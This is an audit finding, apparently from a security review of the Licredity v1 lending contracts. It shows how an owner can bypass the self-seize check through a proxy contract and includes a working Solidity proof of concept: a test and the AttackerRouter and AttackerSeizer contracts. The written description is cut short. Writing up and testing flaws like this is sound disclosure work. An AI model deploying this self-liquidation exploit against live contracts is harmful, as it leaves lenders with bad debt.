LOW severity: Proxy-Based self-liquidation creates bad debt for lenders. **Description:** When calling [`Licredity::seize`](https://github.com/Licredity/licredity-v1-core/blob/e8ae10a7d9f27529e39ca277bf56cef01a807817/src/Licredity.sol#L550-L558) to liquidate an unhealthy position, the contract checks that the position owner is not the caller:

This check can be...

Vulnerable code:
// prevents owner from purposely causing a position to be underwater then profit from seizing it
// side effect is that positions cannot be seized by owner contract, such as non-fungible position manager, which is acceptable
if (position.owner == msg.sender) {
    assembly ("memory-safe") {
        mstore(0x00, 0x7c474390) // 'CannotSeizeOwnPosition()'
        revert(0x1c, 0x04)
    }
}

function test_seize_ownPosition_using_external_contract() public {
    /// open large position for existing lenders
    uint256 positionId = licredityRouter.open();
    token.mint(address(this), 10 ether);
    token.approve(address(licredityRouter), 10 ether);

    licredityRouter.depositFungible(positionId, Fungible.wrap(address(token)), 10 ether);

    uint128 borrowAmount = 9 ether;
    (uint256 totalShares, uint256 totalAssets) = licredity.getTotalDebt();
    uint256 delta = borrowAmount.toShares(totalAssets, totalShares);

    licredityRouterHelper.addDebt(positionId, delta, address(1));

    // Attacker deploys router and helper contract to seize the position
    AttackerSeizer seizer = new AttackerSeizer(licredity);
    AttackerRouter attackerRouter = new AttackerRouter(licredity, token, seizer);

    // attack commences
    attackerRouter.depositFungible(0.5 ether);
}

contract AttackerRouter {
    using StateLibrary for Licredity;
    using ShareMath for uint128;

    Licredity public licredity;
    BaseERC20Mock public token;
    AttackerSeizer public seizer;

    constructor(Licredity _licredity, BaseERC20Mock _token, AttackerSeizer _seizer) {
        licredity = _licredity;
        token = _token;
        seizer = _seizer;
    }

    function depositFungible(uint256 amount) external {
        // 1. add some collateral to the position
        //    so that it can become healthy after seize
        uint256 positionId = licredity.open();
        licredity.stageFungible(Fungible.wrap(address(token)));
        token.mint(address(licredity), amount);
        licredity.depositFungible(positionId);

        // 2. call unlock to take on debt and seize
        licredity.unlock(abi.encode(positionId));
        // 5. as `unlock` doesn't revert, the position has become healthy
    }

    function unlockCallback(bytes calldata data) public returns (bytes memory) {
        uint256 positionId = abi.decode(data, (uint256));

        // 3. increase debt share to make the position unhealthy
        uint128 borrowAmount = 1 ether;
        (uint256 totalShares, uint256 totalAssets) = licredity.getTotalDebt();
        uint256 delta = borrowAmount.toShares(totalAssets, totalShares);
        licredity.increaseDebtShare(positionId, delta, address(this));

        // 4. use the separate seizer contract to seize the position
        //    making it healthy again.
        seizer.seize(positionId);

        return new bytes(0);
    }
}

contract AttackerSeizer {
    Licredity public licredity;

    constructor(Licredity _licredity) {
        licredity = _licredity;
    }

    function seize(uint256 positionId) external {
        licredity.seize(positionId, msg.sender);
    }
}